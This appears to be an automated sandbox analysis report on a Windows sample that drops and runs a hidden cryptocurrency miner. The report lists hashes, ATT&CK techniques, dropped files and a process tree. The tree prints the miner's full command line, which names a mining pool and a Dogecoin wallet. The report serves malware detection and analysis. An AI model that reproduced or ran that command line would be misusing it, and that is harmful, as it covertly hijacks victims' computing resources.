73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 00:02

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3956	b2e.exe
408	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
408	cpuminer-sse2.exe
408	cpuminer-sse2.exe
408	cpuminer-sse2.exe
408	cpuminer-sse2.exe
408	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/464-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 464 wrote to memory of 3956	464	batexe.exe	89
PID 464 wrote to memory of 3956	464	batexe.exe	89
PID 464 wrote to memory of 3956	464	batexe.exe	89
PID 3956 wrote to memory of 2448	3956	b2e.exe	90
PID 3956 wrote to memory of 2448	3956	b2e.exe	90
PID 3956 wrote to memory of 2448	3956	b2e.exe	90
PID 2448 wrote to memory of 408	2448	cmd.exe	93
PID 2448 wrote to memory of 408	2448	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:464
- C:\Users\Admin\AppData\Local\Temp\61B7.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\61B7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\61B7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6580.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2448
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\61B7.tmp\b2e.exe

Filesize
21.1MB

MD5
47984cc64d7199f92607cf17d29cd68d

SHA1
a631b889c5233512a09825905cf23569b507b8a3

SHA256
638490beb0fc51871cfa608954f9410e238d5eabf76c3574e0c6e24c26b4e5c5

SHA512
7bddc084945640ecae129144e2cea775cf5ed7dac744ff3c7192618c718f3ab6a6cb753fad11d956910c7518dcae64f3f97b3ff97cc2e7aca1f0117a6cbacb5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\61B7.tmp\b2e.exe

Filesize
9.5MB

MD5
f013d1481f3daca0d30bea71b3e54ee9

SHA1
afc0f31f4c314b4f43c3faef7a598bd22fd3c6d6

SHA256
2ed90af424346a8e1efe13b8a1ad60657211d12e833607c9ffa78820e2188c6b

SHA512
b8e5957697d52f963ec32078151ba705b4d7ef9163681c5f1d9ad14f14a8de41d87fd09bd6851ed9c16ee86f3bed2a7b491b033f35d5d6393069d167958801d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\61B7.tmp\b2e.exe

Filesize
7.7MB

MD5
7ffbd294d3fb87e1bdadef74062b7ef5

SHA1
798152d2ec20802af831b3d346f484afe13f7435

SHA256
1eed3bd2258c8315a175080edf0a502a02d1939035a57c03a601f609695121ea

SHA512
cccc7d5756ff3ef0fbcf1bacebe1cda533aef111f7a617c393f3744fb1bee4e37f6abe106c427fadb3c6936e7d4d600ccbd7367a504ecbcfe97f4f8c6cb0fea6

Download Submit
C:\Users\Admin\AppData\Local\Temp\6580.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.0MB

MD5
cbe6d5f7b5b1dc9d58a24042b188f5c2

SHA1
9ac44e391fa6d29451c2614c91629c7ef9223977

SHA256
5923affa01ec2feb8b483cdc373ca6c5a6297cd7dd333fa8b0b86cb410037269

SHA512
35b9e08b3013568d3e1ccf687b7f2a13a923fd43d68edd16b421926d1854c3f19efdbca0dde7fb88fbc8ffd4e63b485b794ed22e2385849342f971b4c0cc5df7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.4MB

MD5
781bfd4aff924b221715f0a947d0911d

SHA1
acb6bcb495d19c24d1cd2aa73f24daf64a065bc0

SHA256
b96cd63dd8f489c94e33bf5e530b7852fbfb3f61895fe522482c87df37c1c3b8

SHA512
4eeb5e7a0491aee1c09f6592e20b498ea8bdd899ded566ee8182822590ec7179dab39d2ab03bd8bf3cddd2a090f1e536441823777ccdaff4342825295a0d9d18

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.6MB

MD5
9e080c2fa098a18032868b74edcdad78

SHA1
fc1e64eed0d449700b18d9d8d20c2c2e50875b4c

SHA256
8675e8bea0e9600f172c066331714e2880b69115169f581f813b0bfad01bcba4

SHA512
2ea8e8e5ad5296ead1152eb58d639e89b0f19d2c6649a3fc5d9c1406d545b9bc839d7f22adc5ff52517c9e3cfca2ab5f26a20086df95230ecced8b96fd924fbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/408-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/408-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/408-46-0x0000000065B60000-0x0000000065BF8000-memory.dmp

Filesize
608KB

Download
memory/408-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-47-0x0000000001050000-0x0000000002905000-memory.dmp

Filesize
24.7MB

Download
memory/408-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/464-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3956-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3956-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download